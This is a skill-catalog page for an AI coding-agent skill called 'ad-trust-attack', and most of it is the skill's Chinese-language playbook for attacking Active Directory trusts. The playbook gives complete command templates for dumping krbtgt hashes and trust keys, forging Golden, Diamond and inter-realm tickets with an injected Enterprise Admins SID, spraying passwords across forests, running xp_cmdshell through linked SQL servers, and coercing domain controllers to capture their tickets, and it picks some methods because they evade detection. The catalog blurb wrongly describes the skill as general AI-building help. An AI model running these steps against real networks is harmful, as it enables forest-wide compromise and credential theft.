
Ad Trust Attack
- 23 installs
- 1.6k repo stars
- Updated July 19, 2026
- wgpsec/aboutsecurity
Helps with ai & agent building tasks during AI-assisted development.
About
ad-trust-attack is a Claude Code skill for ai & agent building. It helps solo builders move faster with AI-assisted coding.
- ad-trust-attack
- AI & Agent Building
- AI-coding skill
Ad Trust Attack by the numbers
- 23 all-time installs (skills.sh)
- +2 installs in the week ending Jul 27, 2026 (Skillselion tracking)
- Ranked #10,032 of 16,546 AI & Agent Building skills by installs in the Skillselion catalog
- Data as of Aug 5, 2026 (Skillselion catalog sync)
npx skills add https://github.com/wgpsec/aboutsecurity --skill ad-trust-attackAdd your badge
Show developers this skill is listed on Skillselion. Paste this into your README.
| Installs | 23 |
|---|---|
| repo stars | ★ 1.6k |
| Last updated | July 19, 2026 |
| Repository | wgpsec/aboutsecurity ↗ |
What it does
Helps with ai & agent building tasks during AI-assisted development.
Files
域信任关系攻击
枚举和利用 Active Directory 信任关系,实现跨域和跨林的横向移动与权限提升。
触发条件
- 已获得子域 Domain Admin 或 krbtgt 哈希,需提升至父域
- 枚举发现域间/林间信任关系
- 目标环境存在多域或多林架构
- 需要跨信任边界横向移动
前置要求
- 当前域的高权限凭据 (Domain Admin / krbtgt hash / 信任密钥)
- 已完成信任关系枚举或已知信任拓扑
- 工具: ticketer.py, raiseChild.py, secretsdump.py, lookupsid.py, Rubeus, ldeep, NetExec
---
Phase 1: 信任关系枚举
ldeep ldap -u <USER> -p <PASSWORD> -d <DOMAIN> -s ldap://<DC> trusts
netexec ldap <DC_IP> -u '<USER>' -p '<PASSWORD>' -d '<DOMAIN>' -M enum_trusts
bloodhound-python -u <USER> -p <PASSWORD> -d <DOMAIN> -c TrustsGet-DomainTrust # PowerView
Get-ForestTrust # 森林信任
nltest /domain_trusts /all_trusts # Windows 原生输出解读
| 字段 | 含义 |
|---|---|
| TrustDirection: Bidirectional | 双向信任,可双向访问 |
| TrustDirection: Inbound | 对方信任我们,我们可访问对方 |
| TrustDirection: Outbound | 我们信任对方,对方可访问我们 |
| TrustAttributes: WITHIN_FOREST | 森林内,无 SID 过滤 |
| TrustAttributes: FOREST_TRANSITIVE | 森林信任,有 SID 过滤 |
---
Phase 2: 信任类型与攻击面分析
信任类型速查
| 信任类型 | 方向 | SID 过滤 | 主要攻击方式 |
|---|---|---|---|
| 父子域 (Parent-Child) | 双向 | 禁用 | Golden Ticket + ExtraSid |
| 树根 (Tree-Root) | 双向 | 禁用 | Golden Ticket + ExtraSid |
| 外部 (External) | 单向 | 启用 | 外部组成员 / 密码重用 |
| 森林 (Forest) | 双向 | 启用 | SID History(受限) / MSSQL Links |
关键信任属性
| 属性 | 值 | 安全含义 |
|---|---|---|
| WITHIN_FOREST | 0x20 | 森林内,无 SID 过滤 |
| FOREST_TRANSITIVE | 0x08 | 森林信任,有 SID 过滤 |
| TREAT_AS_EXTERNAL | 0x40 | 视为外部,启用 SID 过滤 |
| QUARANTINED_DOMAIN | 0x04 | 域隔离,强制 SID 过滤 |
SID 过滤影响
| 信任类型 | ExtraSid 攻击 | 备注 |
|---|---|---|
| 森林内 (WITHIN_FOREST) | 完全可用 | Enterprise Admins (-519) 有效 |
| 外部/森林信任 | 仅 RID > 1000 | 知名 SID 被过滤 |
| 隔离域 (Quarantined) | 极度受限 | 几乎全部被过滤 |
---
Phase 3: 子域到父域提权
核心原理: 同一森林内无 SID 过滤,子域 krbtgt 签发的票据中可注入父域 Enterprise Admins SID (-519)。
3.1 获取必要信息
# 获取子域 SID
lookupsid.py <CHILD_DOMAIN>/<USER>:<PASSWORD>@<CHILD_DC> 0
# 获取父域 SID (Enterprise Admins = 父域SID + "-519")
lookupsid.py <CHILD_DOMAIN>/<USER>:<PASSWORD>@<PARENT_DC> 0
# 转储子域 krbtgt 哈希
secretsdump.py -just-dc-user '<CHILD_DOMAIN>/krbtgt' \
'<CHILD_DOMAIN>/<USER>:<PASSWORD>@<CHILD_DC>'3.2 Golden Ticket + ExtraSid
ticketer.py -nthash <KRBTGT_NTHASH> \
-domain-sid '<CHILD_SID>' \
-domain <CHILD_DOMAIN> \
-extra-sid '<PARENT_SID>-519' \
fakeadmin
export KRB5CCNAME=fakeadmin.ccache
secretsdump.py -k -no-pass <PARENT_DOMAIN>/fakeadmin@<PARENT_DC># Rubeus (AES256 更隐蔽)
Rubeus.exe golden /aes256:<KRBTGT_AES256> /user:Administrator \
/domain:<CHILD_DOMAIN> /sid:<CHILD_SID> /sids:<PARENT_SID>-519 /nowrap3.3 Diamond Ticket 变体
修改合法 TGT 的 PAC 而非从零伪造,绕过部分检测:
Rubeus.exe diamond /tgtdeleg /ticketuser:Administrator /ticketuserid:500 \
/groups:519 /sids:<PARENT_SID>-519 /krbkey:<KRBTGT_AES256> /nowrap3.4 raiseChild.py 自动化
raiseChild.py -target-exec <PARENT_DC> '<CHILD_DOMAIN>/Administrator:<PASSWORD>'
raiseChild.py -target-exec <PARENT_DC> -hashes :<NTHASH> '<CHILD_DOMAIN>/Administrator'3.5 Trust Ticket (Inter-Realm TGT)
# 转储信任密钥
secretsdump.py '<CHILD_DOMAIN>/Administrator:<PASSWORD>@<CHILD_DC>' | grep -i trust
# 伪造跨域 TGT
ticketer.py -nthash <TRUST_KEY_HASH> \
-domain-sid '<CHILD_SID>' \
-domain <CHILD_DOMAIN> \
-spn krbtgt/<PARENT_DOMAIN> \
fakeuser
export KRB5CCNAME=fakeuser.ccache
getST.py -k -no-pass -spn cifs/<PARENT_DC>.<PARENT_DOMAIN> <PARENT_DOMAIN>/fakeuser详细步骤与方法对比 -> references/child-parent-escalation.md
---
Phase 4: 单向信任利用
4.1 入站信任 (Inbound)
外部域信任我们,我们的用户可以访问外部域资源。
# 查找外部域中的本域用户/组
Get-DomainForeignGroupMember -Domain <EXTERNAL_DOMAIN>
ConvertFrom-SID S-1-5-21-<MEMBER_SID># 跨域票据请求
Rubeus.exe asktgt /user:<USER> /domain:<DOMAIN> /aes256:<AES256> /nowrap
Rubeus.exe asktgs /service:krbtgt/<EXTERNAL_DOMAIN> /domain:<DOMAIN> \
/dc:<DC> /ticket:<TGT_BASE64> /nowrap
Rubeus.exe asktgs /service:cifs/<EXTERNAL_DC> /domain:<EXTERNAL_DOMAIN> \
/dc:<EXTERNAL_DC> /ticket:<REFERRAL_TICKET> /nowrap4.2 出站信任 (Outbound)
我们信任外部域,可获取信任密钥进行进一步利用。
# 转储信任密钥
mimikatz lsadump::trust /patch# DCSync 信任账户
secretsdump.py -just-dc-user '<EXTERNAL_DOMAIN>$' \
'<DOMAIN>/Administrator:<PASSWORD>@<DC>'
# 使用信任账户身份进行 Kerberoast 等攻击
Rubeus.exe asktgt /user:<DOMAIN>$ /domain:<EXTERNAL_DOMAIN> /rc4:<TRUST_KEY> /nowrap---
Phase 5: 跨林攻击
场景: 森林信任存在 SID 过滤,需要替代攻击路径。
5.1 SID History (受限)
# 在目标林找 RID > 1000 有价值组,创建 Golden Ticket 注入其 SID
ticketer.py -nthash <KRBTGT_HASH> \
-domain-sid '<SOURCE_SID>' \
-domain <SOURCE_DOMAIN> \
-extra-sid '<TARGET_SID>-1111' \
fakeuser
export KRB5CCNAME=fakeuser.ccache
smbclient.py -k -no-pass <TARGET_DOMAIN>/fakeuser@<TARGET_DC>5.2 外部组成员
Get-DomainForeignGroupMember -Domain <TARGET_FOREST>
Get-DomainForeignUser -Domain <TARGET_FOREST>5.3 密码重用
netexec smb <TARGET_DC> -u '<USER>' -p '<PASSWORD>' -d '<TARGET_FOREST>'
netexec smb <TARGET_DC> -u users.txt -p passwords.txt -d '<TARGET_FOREST>'5.4 MSSQL Linked Server
-- 枚举链接服务器
SELECT * FROM master..sysservers;
-- 在链接服务器上执行
EXEC ('SELECT SYSTEM_USER') AT [LINKED_SERVER];
-- 链式穿越
EXEC ('EXEC (''SELECT SYSTEM_USER'') AT [SECOND_LINK]') AT [FIRST_LINK];
-- 通过链接执行命令 (需 xp_cmdshell)
EXEC ('xp_cmdshell ''whoami''') AT [LINKED_SERVER];5.5 非约束委派跨域
# 查找非约束委派 → 强制目标林 DC 认证 → 捕获 TGT
Get-DomainComputer -Unconstrained -Domain <SOURCE_DOMAIN>
Rubeus.exe monitor /interval:5 /nowrap /filteruser:<TARGET_DC>$
# 触发: PrinterBug / PetitPotam / DFSCoerce
Rubeus.exe ptt /ticket:<CAPTURED_TGT>5.6 跨信任 ACL 滥用
Get-DomainObjectAcl -Domain <TARGET_FOREST> |
Where-Object {$_.SecurityIdentifier -match 'S-1-5-21-<SOURCE_SID>'}详细攻击手法与实战案例 -> references/cross-forest-attack.md
---
决策树
[开始] 发现域信任关系 / 已获取子域 DA
│
├─ 枚举: ldeep / NetExec / PowerView / BloodHound / nltest
│
▼
[分析] 信任类型?
│
├─ WITHIN_FOREST (父子域/树根) ───────────────────────┐
│ └─ 无 SID 过滤 │
│ ├─ 有 krbtgt ── Golden Ticket + ExtraSid(-519) ┤
│ ├─ 需隐蔽 ──── Diamond Ticket ─────────────────┤
│ ├─ 要快速 ──── raiseChild.py ──────────────────┤
│ └─ 有信任密钥 ─ Trust Ticket ──────────────────┤
│ ▼
│ 获取父域 DA → DCSync
│
├─ FOREST_TRANSITIVE (森林信任) ──────────────────────┐
│ └─ 有 SID 过滤 (RID > 1000 可通过) │
│ ├─ RID>1000 组 ── SID History ────────────────┤
│ ├─ 外部组成员 ── 已授权跨林访问 ──────────────┤
│ ├─ 密码重用 ──── netexec 喷洒 ────────────────┤
│ ├─ MSSQL 链接 ── xp_cmdshell ────────────────┤
│ └─ 非约束委派 ── 跨林 TGT 捕获 ──────────────┤
│ ▼
│ 跨林访问
│
├─ Inbound (对方信任我们) ────────────────────────────┐
│ ├─ 查找外部组成员 ── ForeignGroupMember ──────────┤
│ └─ 跨域票据请求 ──── Rubeus asktgt/asktgs ───────┤
│ ▼
│ 访问外部域
│
└─ Outbound (我们信任对方) ──────────────────────────┐
├─ 转储信任密钥 ──── lsadump::trust / DCSync ────┤
└─ 信任账户登录 ──── Kerberoast 目标域 ──────────┤
▼
目标域立足点---
验证清单
- [ ] 枚举所有信任关系 (类型、方向、属性)
- [ ] 确定 SID 过滤状态 (WITHIN_FOREST vs FOREST_TRANSITIVE)
- [ ] 获取所需凭据 (krbtgt hash / 信任密钥 / DA 密码)
- [ ] 根据信任类型选择攻击方法
- [ ] 执行跨域/跨林攻击并验证访问
- [ ] DCSync 目标域获取完整凭据
---
常见问题
ExtraSid 攻击失败
1. 确认是森林内信任 (WITHIN_FOREST=0x20),外部/森林信任会过滤 -519 2. 检查 krbtgt hash 是否正确,域 SID 是否匹配
raiseChild.py 失败
1. 确认有子域 DA 权限且可 DCSync 2. 检查到父域 DC 的网络连通性 3. 手动分步: lookupsid -> secretsdump -> ticketer
跨林 SID History 不生效
1. 确认目标组 RID > 1000 (知名 SID 被过滤) 2. 检查信任上是否启用 SID History (默认禁用)
---
工具参考
| 工具 | 用途 |
|---|---|
| ldeep / NetExec / BloodHound | 信任枚举与可视化 |
| lookupsid.py | 域 SID 查询 |
| secretsdump.py | krbtgt / 信任密钥转储 |
| ticketer.py | Golden Ticket / Trust Ticket |
| raiseChild.py | 自动化子域到父域提权 |
| Rubeus / mimikatz | Windows 票据操作与密钥转储 |
子域到父域提权详解
概述
森林内父子域信任是自动创建的双向传递信任,且无 SID 过滤。子域 krbtgt 签发的票据可注入父域 Enterprise Admins SID (-519),从而控制整个森林。
---
方法一: Golden Ticket + ExtraSid
步骤 1: 获取域 SID
lookupsid.py <CHILD_DOMAIN>/<USER>:<PASSWORD>@<CHILD_DC> 0
# Child SID: S-1-5-21-XXXXXXXXX-XXXXXXXXX-XXXXXXXXX
lookupsid.py <CHILD_DOMAIN>/<USER>:<PASSWORD>@<PARENT_DC> 0
# Parent SID: S-1-5-21-YYYYYYYYY-YYYYYYYYY-YYYYYYYYY
# Enterprise Admins = Parent SID + "-519"步骤 2: 转储子域 krbtgt
secretsdump.py -just-dc-user '<CHILD_DOMAIN>/krbtgt' \
'<CHILD_DOMAIN>/Administrator:<PASSWORD>@<CHILD_DC>'
# krbtgt:502:aad3b435b51404eeaad3b435b51404ee:<NTHASH>:::步骤 3: 创建并使用 Golden Ticket
ticketer.py -nthash <KRBTGT_NTHASH> \
-domain-sid '<CHILD_SID>' \
-domain <CHILD_DOMAIN> \
-extra-sid '<PARENT_SID>-519' \
fakeadmin
export KRB5CCNAME=fakeadmin.ccache
secretsdump.py -k -no-pass <PARENT_DOMAIN>/fakeadmin@<PARENT_DC>
psexec.py -k -no-pass <PARENT_DOMAIN>/fakeadmin@<PARENT_DC># Rubeus - AES256 (更隐蔽)
Rubeus.exe golden /aes256:<KRBTGT_AES256> /user:Administrator \
/domain:<CHILD_DOMAIN> /sid:<CHILD_SID> /sids:<PARENT_SID>-519 /nowrap
# Rubeus - NTLM (直接注入)
Rubeus.exe golden /rc4:<KRBTGT_NTLM> /user:Administrator \
/domain:<CHILD_DOMAIN> /sid:<CHILD_SID> /sids:<PARENT_SID>-519 /ptt---
方法二: Diamond Ticket
修改合法 TGT 的 PAC 字段而非从零伪造。票据基础结构来自 KDC 合法签发,绕过部分检测。
Rubeus.exe diamond /tgtdeleg /ticketuser:Administrator /ticketuserid:500 \
/groups:519 /sids:<PARENT_SID>-519 /krbkey:<KRBTGT_AES256> /nowrap| 参数 | 用途 |
|---|---|
| /tgtdeleg | 通过委派获取合法 TGT |
| /ticketuser | PAC 中的目标用户名 |
| /groups | 注入的组 RID (519 = Enterprise Admins) |
| /krbkey | 子域 krbtgt AES256 密钥 |
---
方法三: raiseChild.py 自动化
Impacket 的 raiseChild.py 自动完成: 获取 SID -> DCSync krbtgt -> 构造票据 -> 认证父域。
raiseChild.py -target-exec <PARENT_DC> '<CHILD_DOMAIN>/Administrator:<PASSWORD>'
raiseChild.py -target-exec <PARENT_DC> -hashes :<NTHASH> '<CHILD_DOMAIN>/Administrator'
proxychains4 -q raiseChild.py -target-exec <PARENT_DC> '<CHILD_DOMAIN>/Administrator:<PASSWORD>'注意: 自动化日志特征明显,失败时建议手动分步执行以定位问题。
---
方法四: Trust Ticket (Inter-Realm TGT)
使用域间信任密钥而非 krbtgt 伪造跨域 TGT。
# 转储信任密钥
secretsdump.py '<CHILD_DOMAIN>/Administrator:<PASSWORD>@<CHILD_DC>' | grep -i trust
# 伪造跨域 TGT
ticketer.py -nthash <TRUST_KEY_HASH> \
-domain-sid '<CHILD_SID>' \
-domain <CHILD_DOMAIN> \
-spn krbtgt/<PARENT_DOMAIN> \
fakeuser
export KRB5CCNAME=fakeuser.ccache
getST.py -k -no-pass -spn cifs/<PARENT_DC>.<PARENT_DOMAIN> <PARENT_DOMAIN>/fakeuser---
方法对比
| 方法 | 隐蔽性 | 复杂度 | 前提条件 | 适用场景 |
|---|---|---|---|---|
| Golden Ticket + ExtraSid | 中 | 中 | krbtgt hash | 标准提权路径 |
| Diamond Ticket | 高 | 高 | krbtgt AES256 | 需要绕过检测 |
| raiseChild.py | 低 | 低 | DA 密码/哈希 | 快速验证/CTF |
| Trust Ticket | 中 | 高 | 信任密钥 | krbtgt 不可用时替代 |
选择建议
需要快速完成?
├─ 是 ── raiseChild.py
└─ 否
├─ 需要隐蔽? ── Diamond Ticket
├─ 标准路径 ──── Golden Ticket + ExtraSid
└─ 没有 krbtgt ─ Trust Ticket---
关键概念
Enterprise Admins (-519)
- 仅存在于森林根域,格式:
S-1-5-21-<PARENT_SID>-519 - 成员对森林内所有域拥有完全控制权
为什么森林内无 SID 过滤
- WITHIN_FOREST (0x20) 信任不启用过滤
- 森林 (非域) 是 AD 的安全边界
---
检测指标
| 事件 ID | 描述 | 关注点 |
|---|---|---|
| 4769 | Kerberos 服务票据请求 | 跨域票据含异常 SID |
| 4624 | 登录事件 | Enterprise Admin 从子域登录 |
| 4662 | 目录服务访问 | 子域发起 DCSync |
| 4672 | 特殊权限登录 | 子域账户获取 EA 特权 |
跨林攻击详解
概述
森林信任默认启用 ForestSpecific SID Filtering,阻止直接注入 Enterprise Admins 等高权限 SID。但仍存在多种可行的跨林攻击路径: SID History (受限)、外部组成员、密码重用、MSSQL Links、非约束委派、ACL 滥用。
---
SID 过滤机制
过滤规则
| 类别 | 是否通过 | 示例 |
|---|---|---|
| 知名 SID (RID < 1000) | 被过滤 | -500 Administrator, -512 DA, -519 EA |
| 自定义组 (RID > 1000) | 可通过 | -1111 CustomGroup, -2001 ProjectTeam |
| 源林自身 SID | 可通过 | 源林内部用户/组的 SID |
检查 SID 过滤状态
Get-ADTrust -Filter * | Select Name, SIDFilteringForestAware, SIDFilteringQuarantined
netdom trust <DOMAIN> /d:<TARGET_FOREST> /enableSIDHistory---
方法一: Golden Ticket + SID History
前提: 源林 krbtgt + 目标林中 RID > 1000 的有价值组。
# 枚举目标林中 RID > 1000 的组
Get-DomainGroup -Domain <TARGET_FOREST> |
Where-Object {($_.objectsid -split '-')[-1] -gt 1000} |
Select name, objectsid, description# 获取源林 krbtgt
secretsdump.py -just-dc-user '<SOURCE_DOMAIN>/krbtgt' \
'<SOURCE_DOMAIN>/Administrator:<PASSWORD>@<SOURCE_DC>'
# 创建 Golden Ticket (注入目标组 SID, RID > 1000)
ticketer.py -nthash <KRBTGT_HASH> \
-domain-sid '<SOURCE_SID>' \
-domain <SOURCE_DOMAIN> \
-extra-sid 'S-1-5-21-<TARGET_SID>-1111' \
fakeuser
export KRB5CCNAME=fakeuser.ccache
smbclient.py -k -no-pass <TARGET_DOMAIN>/fakeuser@<TARGET_DC>---
方法二: 外部组成员枚举与利用
目标林可能已授权源林用户/组访问其资源。
Get-DomainForeignGroupMember -Domain <TARGET_FOREST>
Get-DomainForeignUser -Domain <TARGET_FOREST>-- BloodHound 跨域成员关系
MATCH (u:User)-[:MemberOf]->(g:Group)
WHERE u.domain <> g.domain
RETURN u.name, g.name, g.domain# 获取已授权用户凭据后直接访问目标林
netexec smb <TARGET_DC> -u 'svc_backup' -p '<PASSWORD>' -d '<SOURCE_DOMAIN>'---
方法三: 密码重用跨域测试
netexec smb <TARGET_DC> -u '<USER>' -p '<PASSWORD>' -d '<TARGET_FOREST>'
netexec smb <TARGET_DC> -u users.txt -p passwords.txt -d '<TARGET_FOREST>'
netexec smb <TARGET_DC> -u '<USER>' -H '<NTHASH>' -d '<TARGET_FOREST>'高价值账户优先:
├─ 1. 服务账户 (svc_*, service_*) ── 跨林共用概率高
├─ 2. 管理员账户 (admin*, adm_*) ── 管理员常用相同密码
├─ 3. 应用账户 (app_*, sql_*) ── 配置可能跨林相同
└─ 4. DA/EA 成员 ── 高价值目标---
方法四: MSSQL Linked Server
SELECT * FROM master..sysservers; -- 枚举链接
EXEC ('SELECT SYSTEM_USER') AT [LINKED_SERVER]; -- 链接执行
EXEC ('EXEC (''SELECT SYSTEM_USER'') AT [SECOND_LINK]') AT [FIRST_LINK]; -- 链式穿越
EXEC ('xp_cmdshell ''whoami''') AT [LINKED_SERVER]; -- 命令执行# PowerUpSQL 自动化
Get-SQLServerLinkCrawl -Instance <SQL_SERVER> -Verbose
Get-SQLServerLinkCrawl -Instance <SQL_SERVER> -Query "EXEC xp_cmdshell 'whoami'"---
方法五: 非约束委派跨域
源林非约束委派服务器可捕获目标林 DC 的 TGT。
流程: 找到非约束委派 → 强制目标 DC 认证 → 捕获 TGT → DCSync# 查找非约束委派
Get-DomainComputer -Unconstrained -Domain <SOURCE_DOMAIN>
# 监听入站 TGT
Rubeus.exe monitor /interval:5 /nowrap /filteruser:<TARGET_DC>$# 强制认证 (PrinterBug / PetitPotam / DFSCoerce)
SpoolSample.exe <TARGET_DC> <UNCONSTRAINED_SERVER>
PetitPotam.py <UNCONSTRAINED_SERVER> <TARGET_DC># 使用捕获的 TGT
Rubeus.exe ptt /ticket:<CAPTURED_TGT_BASE64>
mimikatz lsadump::dcsync /domain:<TARGET_FOREST> /user:<TARGET_FOREST>\krbtgt---
方法六: 跨信任 ACL 滥用
Get-DomainObjectAcl -Domain <TARGET_FOREST> -ResolveGUIDs |
Where-Object {$_.SecurityIdentifier -match 'S-1-5-21-<SOURCE_SID>'}| 可利用权限 | 利用方式 |
|---|---|
| GenericAll | 重置密码 / 修改组成员 |
| WriteDacl | 授予自身 GenericAll |
| WriteOwner | 设为所有者后修改 DACL |
| ForceChangePassword | 直接重置密码 |
---
攻击路径决策
[跨林攻击] 森林信任 + SID 过滤
│
├─ 有源林 krbtgt + 目标存在 RID>1000 有价值组?
│ └─ 是 ── Golden Ticket + SID History
│
├─ 存在外部组成员?
│ └─ 是 ── 获取成员凭据 → 利用已有授权
│
├─ 密码重用?
│ └─ 是 ── 直接登录目标林
│
├─ MSSQL 链接?
│ └─ 是 ── 链式 xp_cmdshell
│
├─ 非约束委派?
│ └─ 是 ── 强制认证 → 捕获 TGT
│
└─ 跨林 ACL?
└─ 是 ── ACL 滥用---
关键限制
- RID < 1000 必被过滤: EA(-519)、DA(-512) 等无法通过森林信任
- SID History 默认禁用: 需管理员显式启用 (
netdom trust /enableSIDHistory:yes) - 信任方向决定攻击方向: Inbound = 对方信任我们 (我们可访问对方)